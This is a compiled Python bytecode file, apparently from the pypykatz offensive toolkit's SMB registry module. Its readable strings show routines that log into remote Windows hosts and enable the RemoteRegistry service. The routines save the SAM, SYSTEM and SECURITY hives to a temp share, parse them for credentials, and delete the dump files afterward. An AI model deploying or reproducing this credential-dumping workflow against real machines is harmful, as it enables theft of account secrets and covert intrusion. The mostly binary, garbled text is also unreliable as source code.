o
    Žõ±j¡  ã                   @   sn   d dl Z d dlZd dlmZ d dlmZmZmZ g d¢dddg dfd	d
„Zg d¢dddfdd„Z	ddd„Z
dS )é    N)Úlogger)ÚSMBFileEnumÚListTargetGenÚFileTargetGen)zHKLM\SAMzHKLM\SYSTEMzHKLM\SECURITYzC:\Windows\Temp\z\c$\Windows\Temp\é   é   c              
   C  sª  �ddl m} d }d }	g }
g }g }|d urOt|ƒdkrOg }|d urO|D ]}zt|dƒ}| ¡  | t|ƒ¡ W q#   | |¡ Y q#t|ƒdkrO| t|ƒ¡ t| |ƒr[| }|  	¡ }	n	| 
| ¡}| 	¡ }	t|	j ¡ |	||||d�}| |¡ |D ]@}| ¡ 2 z83 d H W \}}}| |¡}t|j ¡ |||||d�}| |¡ t|ƒ|kr¶tj|Ž I d H }|D ]}|V  q®g }q~6 qxt|ƒdkrÓtj|Ž I d H }|D ]}|V  qÉg }d S d S )Nr   ©ÚSMBConnectionFactoryÚr)ÚhivesÚremote_base_pathÚremote_share_nameÚenable_wait)Ú!aiosmb.commons.connection.factoryr	   ÚlenÚopenÚcloseÚappendr   r   Ú
isinstanceÚget_connectionÚfrom_urlÚregdump_singleÚtargetÚget_hostname_or_ipÚgenerateÚcreate_connection_newtargetÚasyncioÚgather)Úurlr   r   r   r   ÚtargetsÚ
worker_cntr	   Úbase_urlÚ	base_connÚmimisÚworkersÚtgensÚnotfiler   ÚfÚregdump_coroÚtgenÚ_ÚerrÚtconnÚtresÚres© r/   úˆ/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/pypykatz/smb/regutils.pyÚregdump	   st   €



ú

ú
€ñür1   c                 Ã   sè  ��zÙddl m} ddlm} ddlm} ddlm}	 ddlm	}
 | 
d¡du r,|d7 }| 
d¡du r7|d7 }d }|4 I d H �šŠ t d	¡ | ¡ I d H \}}|d urU|‚t d
¡ ||ƒ4 I d H �šQ}t d¡ | d¡I d H \}}|d ury|‚t d|j ¡ ||jkr¸t d¡ | d¡I d H \}}|d ur›|‚t d¡ | d¡I d H \}}|d ur°|‚t |¡I d H  t d¡ i }|D ]H}dt d¡ ¡ t d¡ ¡ f }|| }|| }|	| ||¡ƒ}||| d¡d  ¡ < t d||f ¡ | ||¡I d H \}}|d u�r	|‚qÁ|D ]}|| }t d| ¡ | |¡I d H \}}|d u�r*|‚�qzt d¡ |
j|d | d¡| d¡| d¡d�I d H }W n t �ya } z
t!|ƒ W Y d }~nd }~ww t d¡ t d¡ d }|D ]/}|| }| "¡ I d H }|d u�r‰t d| ¡ | #¡ I d H \}}|d u�ržt d | ¡ �qp|d u �rªt d!¡ W d   ƒI d H  n1 I d H �s»w   Y  W d   ƒI d H  n1 I d H �sÑw   Y  | |d fW S  t �yó } z| d |fW  Y d }~S d }~ww )"Nr   )Ú
SMBMachine©ÚSMBFile)ÚServiceStatus©ÚSMBFileReader©ÚOffineRegistryú\Fz![REGDUMP] Connecting to server...z[REGDUMP] Connected to server!z4[REGDUMP] Checking remote registry service status...ÚRemoteRegistryz,[REGDUMP] Remote registry service status: %sz*[REGDUMP] Enabling Remote registry servicez*[REGDUMP] Starting Remote registry servicez:[REGDUMP] Remote registry service should be running now...z%s.%sé   r   é   z+[REGDUMP] Dumping reghive %s to (remote) %sz![REGDUMP] Opening reghive file %sz[REGDUMP] Parsing hives...ÚSYSTEMÚSAMÚSECURITYÚSOFTWARE©Ú
sam_readerÚsecurity_readerÚsoftware_readerz[REGDUMP] Hives parsed OK!z"[REGDUMP] Deleting remote files...z1[REGDUMP] ERR! Failed to close hive dump file! %sz2[REGDUMP] ERR! Failed to delete hive dump file! %sz#[REGDUMP] Deleting remote files OK!)$Ú!aiosmb.commons.interfaces.machiner2   Úaiosmb.commons.interfaces.filer4   Úaiosmb.dcerpc.v5.common.servicer5   Úpypykatz.alsadecryptor.asbmfiler7   Ú!pypykatz.registry.aoffline_parserr9   Úendswithr   ÚdebugÚloginÚcheck_service_statusÚnameÚRUNNINGÚenable_serviceÚstart_servicer   ÚsleepÚosÚurandomÚhexÚfrom_remotepathÚsplitÚupperÚinfoÚsave_registry_hiver   Úfrom_async_readerÚgetÚ	ExceptionÚprintr   Údelete)ÚtargetidÚ
connectionr   r   r   r   r2   r4   r5   r7   r9   Úpor*   r+   ÚmachineÚstatusÚfilesÚhiveÚfnameÚremote_pathÚremote_sharepathÚremote_fileÚ	rfilenameÚrfileÚer/   r/   r0   r   J   s°   €






 
ÿ
ÿ
ü€ÿ



€

€,»*ùN€ÿr   c              	   Ã   sX  �ddl m} ddlm} ddlm} ddlm}	 | | ¡}
|
 	¡ }|d u r)|
j
}| d¡du r4|d7 }| dd¡}|| }d }d }d }|| ||¡ƒ}|rZ|| }|| ||¡ƒ}|rh|| }|| ||¡ƒ}|rv|| }|| ||¡ƒ}d }|4 I d H š  t d	¡ | ¡ I d H \}}|d ur“|‚t d
¡ t d¡ | |¡I d H \}}|d ur­|‚|d urÆt d¡ | |¡I d H \}}|d urÆ|‚|d urßt d¡ | |¡I d H \}}|d urß|‚|d urøt d¡ | |¡I d H \}}|d urø|‚t d¡ t d¡ |	j||||d�I d H }t d¡ W d   ƒI d H  |S 1 I d H �s%w   Y  |S )Nr   r   r3   r6   r8   ú/Fr:   z![REGFILE] Connecting to server...z[REGFILE] Connected to server!z*[REGFILE] Opening SYSTEM hive dump file...z'[REGFILE] Opening SAM hive dump file...z,[REGFILE] Opening SECURITY hive dump file...z,[REGFILE] Opening SOFTWARE hive dump file...z[REGFILE] All files opened OK!z[REGFILE] Parsing hive files...rB   z[REGFILE] Hive files parsed OK!)r   r	   rG   r4   rI   r7   rJ   r9   r   r   ÚpathrK   ÚreplacerW   r   rL   rM   r   r\   )r   ÚsystemÚsamÚsecurityÚsoftwareÚsmb_basepathr	   r4   r7   r9   Úsmburlrb   Úsystem_smbfile_pathÚsam_smbfileÚsecurity_smbfileÚsoftware_smbfileÚsystem_smbfileÚsam_smbfile_pathÚsecurity_smbfile_pathÚsoftware_smbfile_pathrc   r*   r+   r/   r/   r0   Úregfile¯   sx   €








Þ$Ü$r€   )NNNN)r   rT   Úpypykatzr   Úaiosmb.examples.smbshareenumr   r   r   r1   r   r€   r/   r/   r/   r0   Ú<module>   s   Ae